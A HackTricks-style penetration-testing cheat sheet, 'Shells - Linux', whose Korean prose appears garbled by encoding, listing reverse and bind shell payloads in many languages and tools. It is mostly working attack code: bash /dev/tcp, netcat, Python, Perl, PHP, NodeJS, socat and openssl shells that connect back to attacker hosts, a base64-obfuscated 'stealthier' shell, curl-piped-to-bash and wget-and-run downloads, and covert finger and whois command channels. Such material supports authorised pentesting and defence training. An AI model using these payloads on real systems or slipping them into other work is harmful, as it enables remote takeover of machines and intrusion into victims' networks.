Shells - Linux

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ์‰˜์— ๋Œ€ํ•œ ์งˆ๋ฌธ์ด ์žˆ์œผ๋ฉด https://explainshell.com/ ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Full TTY

๋ฆฌ๋ฒ„์Šค ์‰˜์„ ์–ป์œผ๋ฉด ์ „์ฒด TTY๋ฅผ ์–ป์œผ๋ ค๋ฉด ์ด ํŽ˜์ด์ง€๋ฅผ ์ฝ์œผ์„ธ์š”.

Bash | sh

curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0

๋‹ค๋ฅธ ์…ธ(sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash)๋„ ํ™•์ธํ•˜๋Š” ๊ฒƒ์„ ์žŠ์ง€ ๋งˆ์„ธ์š”.

๊ธฐํ˜ธ ์•ˆ์ „ ์…ธ

#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null

Shell ์„ค๋ช…

  1. bash -i: ์ด ๋ช…๋ น์˜ ์ผ๋ถ€๋Š” ๋Œ€ํ™”ํ˜•(-i) Bash ์…ธ์„ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.
  2. >&: ์ด ๋ช…๋ น์˜ ์ผ๋ถ€๋Š” ํ‘œ์ค€ ์ถœ๋ ฅ(stdout)๊ณผ ํ‘œ์ค€ ์˜ค๋ฅ˜(stderr)๋ฅผ ๊ฐ™์€ ๋ชฉ์ ์ง€๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋Š” ์•ฝ์‹ ํ‘œ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค.
  3. /dev/tcp/<ATTACKER-IP>/<PORT>: ์ด๋Š” ์ง€์ •๋œ IP ์ฃผ์†Œ์™€ ํฌํŠธ์— ๋Œ€ํ•œ TCP ์—ฐ๊ฒฐ์„ ๋‚˜ํƒ€๋‚ด๋Š” ํŠน์ˆ˜ ํŒŒ์ผ์ž…๋‹ˆ๋‹ค.
  • ์ถœ๋ ฅ ๋ฐ ์˜ค๋ฅ˜ ์ŠคํŠธ๋ฆผ์„ ์ด ํŒŒ์ผ๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•จ์œผ๋กœ์จ, ๋ช…๋ น์€ ๋Œ€ํ™”ํ˜• ์…ธ ์„ธ์…˜์˜ ์ถœ๋ ฅ์„ ๊ณต๊ฒฉ์ž์˜ ๋จธ์‹ ์œผ๋กœ ํšจ๊ณผ์ ์œผ๋กœ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.
  1. 0>&1: ์ด ๋ช…๋ น์˜ ์ผ๋ถ€๋Š” ํ‘œ์ค€ ์ž…๋ ฅ(stdin)์„ ํ‘œ์ค€ ์ถœ๋ ฅ(stdout)๊ณผ ๊ฐ™์€ ๋ชฉ์ ์ง€๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•ฉ๋‹ˆ๋‹ค.

ํŒŒ์ผ ์ƒ์„ฑ ๋ฐ ์‹คํ–‰

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

Forward Shell

Linux ๊ธฐ๋ฐ˜ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ (RCE) ์ทจ์•ฝ์ ์„ ๋‹ค๋ฃฐ ๋•Œ, ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์–ป๋Š” ๊ฒƒ์ด iptables ๊ทœ์น™์ด๋‚˜ ๋ณต์žกํ•œ ํŒจํ‚ท ํ•„ํ„ฐ๋ง ๋ฉ”์ปค๋‹ˆ์ฆ˜๊ณผ ๊ฐ™์€ ๋„คํŠธ์›Œํฌ ๋ฐฉ์–ด์— ์˜ํ•ด ๋ฐฉํ•ด๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ œํ•œ๋œ ํ™˜๊ฒฝ์—์„œ๋Š” ์†์ƒ๋œ ์‹œ์Šคํ…œ๊ณผ ๋” ํšจ๊ณผ์ ์œผ๋กœ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ธฐ ์œ„ํ•ด PTY (๊ฐ€์ƒ ํ„ฐ๋ฏธ๋„) ์…ธ์„ ์„ค์ •ํ•˜๋Š” ๋Œ€์•ˆ์  ์ ‘๊ทผ ๋ฐฉ์‹์ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๋ชฉ์ ์„ ์œ„ํ•ด ์ถ”์ฒœ๋˜๋Š” ๋„๊ตฌ๋Š” toboggan์œผ๋กœ, ์ด๋Š” ๋Œ€์ƒ ํ™˜๊ฒฝ๊ณผ์˜ ์ƒํ˜ธ์ž‘์šฉ์„ ๋‹จ์ˆœํ™”ํ•ฉ๋‹ˆ๋‹ค.

toboggan์„ ํšจ๊ณผ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜๋ ค๋ฉด, ๋Œ€์ƒ ์‹œ์Šคํ…œ์˜ RCE ๋งฅ๋ฝ์— ๋งž์ถ˜ Python ๋ชจ๋“ˆ์„ ์ƒ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, nix.py๋ผ๋Š” ๋ชจ๋“ˆ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ตฌ์„ฑ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

import jwt
import httpx

def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)

response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)

# Check if the request was successful
response.raise_for_status()

return response.text

๊ทธ๋Ÿฐ ๋‹ค์Œ, ๋‹ค์Œ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

toboggan -m nix.py -i

๋Œ€ํ™”ํ˜• ์…ธ์„ ์ง์ ‘ ํ™œ์šฉํ•˜๋ ค๋ฉด -b๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ Burpsuite ํ†ตํ•ฉ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋” ๊ธฐ๋ณธ์ ์ธ rce ๋ž˜ํผ๋ฅผ ์œ„ํ•ด -i๋ฅผ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋˜ ๋‹ค๋ฅธ ๊ฐ€๋Šฅ์„ฑ์€ IppSec ํฌ์›Œ๋“œ ์…ธ ๊ตฌํ˜„์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค https://github.com/IppSec/forward-shell.

๋‹ค์Œ ์‚ฌํ•ญ์„ ์ˆ˜์ •ํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค:

  • ์ทจ์•ฝํ•œ ํ˜ธ์ŠคํŠธ์˜ URL
  • ํŽ˜์ด๋กœ๋“œ์˜ ์ ‘๋‘์‚ฌ ๋ฐ ์ ‘๋ฏธ์‚ฌ(์žˆ๋Š” ๊ฒฝ์šฐ)
  • ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์ „์†ก๋˜๋Š” ๋ฐฉ์‹(ํ—ค๋”? ๋ฐ์ดํ„ฐ? ์ถ”๊ฐ€ ์ •๋ณด?)

๊ทธ๋Ÿฐ ๋‹ค์Œ ๋ช…๋ น์„ ์ „์†กํ•˜๊ฑฐ๋‚˜ upgrade ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ์ „์ฒด PTY๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(ํŒŒ์ดํ”„๋Š” ์•ฝ 1.3์ดˆ ์ง€์—ฐ์œผ๋กœ ์ฝ๊ณ  ์”๋‹ˆ๋‹ค).

Netcat

nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

gsocket

https://www.gsocket.io/deploy/์—์„œ ํ™•์ธํ•˜์„ธ์š”.

bash -c "$(curl -fsSL gsocket.io/x)"

ํ…”๋„ท

telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

Whois

๊ณต๊ฒฉ์ž

while true; do nc -l <port>; done

๋ช…๋ น์„ ๋ณด๋‚ด๋ ค๋ฉด ์ž…๋ ฅํ•˜๊ณ , Enter๋ฅผ ๋ˆ„๋ฅด๊ณ , CTRL+D๋ฅผ ๋ˆŒ๋Ÿฌ STDIN์„ ์ค‘์ง€ํ•ฉ๋‹ˆ๋‹ค.

ํฌ์ƒ์ž

export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done

ํŒŒ์ด์ฌ

#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

ํŽ„

perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

๋ฃจ๋น„

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>

์ž๋ฐ”

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Ncat

victim> ncat <ip> <port,eg.443> --ssl  -c  "bash -i 2>&1"
attacker> ncat -l <port,eg.443> --ssl

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

๋ฃจ์•„

#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()


or

// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

Zsh (๋‚ด์žฅ TCP)

# Requires no external binaries; leverages zsh/net/tcp module
zsh -c 'zmodload zsh/net/tcp; ztcp <ATTACKER-IP> <PORT>; zsh -i <&$REPLY >&$REPLY 2>&$REPLY'

Rustcat (rcat)

https://github.com/robiot/rustcat โ€“ ํ˜„๋Œ€์ ์ธ netcat๊ณผ ์œ ์‚ฌํ•œ ๋ฆฌ์Šค๋„ˆ๋กœ Rust๋กœ ์ž‘์„ฑ๋จ (2024๋…„๋ถ€ํ„ฐ Kali์— ํŒจํ‚ค์ง•๋จ).

# Attacker โ€“ interactive TLS listener with history & tab-completion
rcat listen -ib 55600

# Victim โ€“ download static binary and connect back with /bin/bash
curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_64 -o /tmp/rcat \
&& chmod +x /tmp/rcat \
&& /tmp/rcat connect -s /bin/bash <ATTACKER-IP> 55600

ํŠน์ง•:

  • ์•”ํ˜ธํ™”๋œ ์ „์†ก์„ ์œ„ํ•œ ์„ ํƒ์  --ssl ํ”Œ๋ž˜๊ทธ (TLS 1.3)
  • ํ”ผํ•ด์ž์—๊ฒŒ ์ž„์˜์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ(์˜ˆ: /bin/sh, python3)๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•œ -s
  • ์™„์ „ํ•œ ๋Œ€ํ™”ํ˜• PTY๋กœ ์ž๋™ ์—…๊ทธ๋ ˆ์ด๋“œ๋ฅผ ์œ„ํ•œ --up

revsh (์•”ํ˜ธํ™” ๋ฐ ํ”ผ๋ฒ— ์ค€๋น„ ์™„๋ฃŒ)

revsh๋Š” ์•”ํ˜ธํ™”๋œ Diffie-Hellman ํ„ฐ๋„์„ ํ†ตํ•ด ์ „์ฒด TTY๋ฅผ ์ œ๊ณตํ•˜๋Š” ์ž‘์€ C ํด๋ผ์ด์–ธํŠธ/์„œ๋ฒ„์ด๋ฉฐ, ์„ ํƒ์ ์œผ๋กœ TUN/TAP ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์—ฐ๊ฒฐํ•˜์—ฌ ๋ฆฌ๋ฒ„์Šค VPN๊ณผ ๊ฐ™์€ ํ”ผ๋ฒ—์„ ์ง€์›ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Build (or grab a pre-compiled binary from the releases page)
git clone https://github.com/emptymonkey/revsh && cd revsh && make

# Attacker โ€“ controller/listener on 443 with a pinned certificate
revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem

# Victim โ€“ reverse shell over TLS to the attacker
./revsh <ATTACKER-IP>:443

์œ ์šฉํ•œ ํ”Œ๋ž˜๊ทธ:

  • -b : ๋ฆฌ๋ฒ„์Šค ๋Œ€์‹  ๋ฐ”์ธ๋“œ ์…ธ
  • -p socks5://127.0.0.1:9050 : TOR/HTTP/SOCKS๋ฅผ ํ†ตํ•œ ํ”„๋ก์‹œ
  • -t : TUN ์ธํ„ฐํŽ˜์ด์Šค ์ƒ์„ฑ (๋ฆฌ๋ฒ„์Šค VPN)

์ „์ฒด ์„ธ์…˜์ด ์•”ํ˜ธํ™”๋˜๊ณ  ๋‹ค์ค‘ํ™”๋˜๊ธฐ ๋•Œ๋ฌธ์—, ์ผ๋ฐ˜ ํ…์ŠคํŠธ /dev/tcp ์…ธ์„ ์ข…๋ฃŒ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ๊ฐ„๋‹จํ•œ ์•„์›ƒ๋ฐ”์šด๋“œ ํ•„ํ„ฐ๋ง์„ ์ข…์ข… ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค.

OpenSSL

๊ณต๊ฒฉ์ž (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

ํฌ์ƒ์ž

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Socat

https://github.com/andrew-d/static-binaries

๋ฐ”์ธ๋“œ ์…ธ

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

๋ฆฌ๋ฒ„์Šค ์…ธ

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Awk

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Finger

๊ณต๊ฒฉ์ž

while true; do nc -l 79; done

๋ช…๋ น์„ ๋ณด๋‚ด๋ ค๋ฉด ์ž…๋ ฅํ•˜๊ณ  Enter๋ฅผ ๋ˆ„๋ฅธ ๋‹ค์Œ CTRL+D๋ฅผ ๋ˆ„๋ฆ…๋‹ˆ๋‹ค (STDIN์„ ์ค‘์ง€ํ•˜๋ ค๋ฉด).

ํฌ์ƒ์ž

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done

Gawk

#!/usr/bin/gawk -f

BEGIN {
Port    =       8080
Prompt  =       "bkd> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}

Xterm

์ด๊ฒƒ์€ ํฌํŠธ 6001์—์„œ ๊ท€ํ•˜์˜ ์‹œ์Šคํ…œ์— ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค:

xterm -display 10.0.0.1:1

์—ญ๋ฐฉํ–ฅ ์…ธ์„ ์žก๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์€ (ํฌํŠธ 6001์—์„œ ์ˆ˜์‹  ๋Œ€๊ธฐํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค):

# Authorize host
xhost +targetip
# Listen
Xnest :1

Groovy

by frohoff ์ฃผ์˜: Java reverse shell์€ Groovy์—์„œ๋„ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ